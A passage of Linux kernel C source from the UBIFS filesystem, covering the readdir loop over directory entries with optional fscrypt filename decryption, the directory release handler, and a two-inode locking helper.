(ctx->pos > UBIFS_S_KEY_HASH_MASK || ctx->pos == 2) /* * The directory was seek'ed to a senseless position or there * are no more entries. */ return 0; if (encrypted) { err = fscrypt_get_encryption_info(dir); if (err && err != -ENOKEY) return err; err = fscrypt_fname_alloc_buffer(dir, UBIFS_MAX_NLEN, &fstr); if (err) return err; fstr_real_len = fstr.len; } if (file->f_version == 0) { /* * The file was seek'ed, which means that @file->private_data * is now invalid. This may also be just the first * 'ubifs_readdir()' invocation, in which case * @file->private_data is NULL, and the below code is * basically a no-op. */ kfree(file->private_data); file->private_data = NULL; } /* * 'generic_file_llseek()' unconditionally sets @file->f_version to * zero, and we use this for detecting whether the file was seek'ed. */ file->f_version = 1; /* File positions 0 and 1 correspond to "." and ".." */ if (ctx->pos < 2) { ubifs_assert(!file->private_data); if (!dir_emit_dots(file, ctx)) { if (encrypted) fscrypt_fname_free_buffer(&fstr); return 0; } /* Find the first entry in TNC and save it */ lowest_dent_key(c, &key, dir->i_ino); fname_len(&nm) = 0; dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } ctx->pos = key_hash_flash(c, &dent->key); file->private_data = dent; } dent = file->private_data; if (!dent) { /* * The directory was seek'ed to and is now readdir'ed. * Find the entry corresponding to @ctx->pos or the closest one. */ dent_key_init_hash(c, &key, dir->i_ino, ctx->pos); fname_len(&nm) = 0; dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } ctx->pos = key_hash_flash(c, &dent->key); file->private_data = dent; } while (1) { dbg_gen("ino %llu, new f_pos %#x", (unsigned long long)le64_to_cpu(dent->inum), key_hash_flash(c, &dent->key)); ubifs_assert(le64_to_cpu(dent->ch.sqnum) > ubifs_inode(dir)->creat_sqnum); fname_len(&nm) = le16_to_cpu(dent->nlen); fname_name(&nm) = dent->name; if (encrypted) { fstr.len = fstr_real_len; err = fscrypt_fname_disk_to_usr(dir, key_hash_flash(c, &dent->key), le32_to_cpu(dent->cookie), &nm.disk_name, &fstr); if (err) goto out; } else { fstr.len = fname_len(&nm); fstr.name = fname_name(&nm); } if (!dir_emit(ctx, fstr.name, fstr.len, le64_to_cpu(dent->inum), vfs_dent_type(dent->type))) { if (encrypted) fscrypt_fname_free_buffer(&fstr); return 0; } /* Switch to the next entry */ key_read(c, &dent->key, &key); dent = ubifs_tnc_next_ent(c, &key, &nm); if (IS_ERR(dent)) { err = PTR_ERR(dent); goto out; } kfree(file->private_data); ctx->pos = key_hash_flash(c, &dent->key); file->private_data = dent; cond_resched(); } out: kfree(file->private_data); file->private_data = NULL; if (encrypted) fscrypt_fname_free_buffer(&fstr); if (err != -ENOENT) ubifs_err(c, "cannot find next direntry, error %d", err); else /* * -ENOENT is a non-fatal error in this context, the TNC uses * it to indicate that the cursor moved past the current directory * and readdir() has to stop. */ err = 0; /* 2 is a special value indicating that there are no more direntries */ ctx->pos = 2; return err; } /* Free saved readdir() state when the directory is closed */ static int ubifs_dir_release(struct inode *dir, struct file *file) { kfree(file->private_data); file->private_data = NULL; return 0; } /** * lock_2_inodes - a wrapper for locking two UBIFS inodes. * @inode1: first inode * @inode2: second inode * * We do not implement any tricks to guarantee strict lock ordering, because * VFS has already done it for us on the @i_mutex. So this is just a simple * wrapper function. */ static void lock_2_inodes(struct inode *inode1, struct inode *inode2) { mutex_lock_nested(&ubifs_inode(inode1)->ui_mutex, WB_MUTEX_1); mutex_lock_nested(&ubifs_inode(inode2)->ui_mutex, WB_MUTEX_2); }